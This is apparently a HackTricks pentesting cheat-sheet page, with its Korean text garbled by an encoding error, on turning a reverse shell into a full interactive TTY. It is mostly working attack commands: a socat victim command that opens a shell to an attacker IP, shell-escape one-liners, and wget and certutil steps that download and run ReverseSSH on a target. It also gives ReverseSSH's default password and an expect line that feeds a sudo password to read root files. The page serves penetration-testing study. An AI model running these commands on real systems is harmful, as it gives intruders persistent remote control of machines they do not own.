Full TTYs

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Full TTY

SHELL ๋ณ€์ˆ˜์— ์„ค์ •ํ•œ ์…ธ์€ ๋ฐ˜๋“œ์‹œ _/etc/shells_์— ๋ชฉ๋ก์— ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด The value for the SHELL variable was not found in the /etc/shells file This incident has been reported๋ผ๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋‹ค์Œ ์Šค๋‹ˆํŽซ์€ bash์—์„œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. zsh์— ์žˆ๋Š” ๊ฒฝ์šฐ, bash๋ฅผ ์‹คํ–‰ํ•˜์—ฌ bash๋กœ ๋ณ€๊ฒฝํ•œ ํ›„ ์…ธ์„ ์–ป์œผ์‹ญ์‹œ์˜ค.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Note

**stty -a**๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ํ–‰๊ณผ ์—ด์˜ ์ˆ˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

script

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

์‰˜ ์ƒ์„ฑ

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

๋Œ€ํ™”ํ˜• ์‰˜ ์ ‘๊ทผ ๋ฐ ํŒŒ์ผ ์ „์†ก๊ณผ ํฌํŠธ ํฌ์›Œ๋”ฉ์„ ์œ„ํ•œ ํŽธ๋ฆฌํ•œ ๋ฐฉ๋ฒ•์€ ์ •์ ์œผ๋กœ ์—ฐ๊ฒฐ๋œ ssh ์„œ๋ฒ„ ReverseSSH๋ฅผ ํƒ€๊ฒŸ์— ๋ฐฐํฌํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” upx๋กœ ์••์ถ•๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” x86์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•ด์„œ๋Š” ๋ฆด๋ฆฌ์Šค ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

  1. ssh ํฌํŠธ ํฌ์›Œ๋”ฉ ์š”์ฒญ์„ ์ˆ˜์‹ ํ•˜๊ธฐ ์œ„ํ•ด ๋กœ์ปฌ์—์„œ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) ๋ฆฌ๋ˆ…์Šค ํƒ€๊ฒŸ:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • ReverseSSH ํฌํŠธ ํฌ์›Œ๋”ฉ ์š”์ฒญ์ด ์„ฑ๊ณตํ–ˆ๋‹ค๋ฉด, ์ด์ œ reverse-ssh(.exe)๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž์˜ ์ปจํ…์ŠคํŠธ์—์„œ ๊ธฐ๋ณธ ๋น„๋ฐ€๋ฒˆํ˜ธ letmeinbrudipls๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Penelope

Penelope๋Š” ๋ฆฌ๋ˆ…์Šค ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์ž๋™์œผ๋กœ TTY๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ , ํ„ฐ๋ฏธ๋„ ํฌ๊ธฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋ฉฐ, ๋ชจ๋“  ๊ฒƒ์„ ๊ธฐ๋กํ•˜๊ณ  ๊ทธ ์™ธ์—๋„ ๋งŽ์€ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ Windows ์…ธ์— ๋Œ€ํ•œ readline ์ง€์›์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

penelope

No TTY

์–ด๋–ค ์ด์œ ๋กœ ์ „์ฒด TTY๋ฅผ ์–ป์„ ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์—๋„ ์—ฌ์ „ํžˆ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ธฐ๋Œ€ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ sudo์— ์ „๋‹ฌ๋˜์–ด ํŒŒ์ผ์„ ์ฝ์Šต๋‹ˆ๋‹ค:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ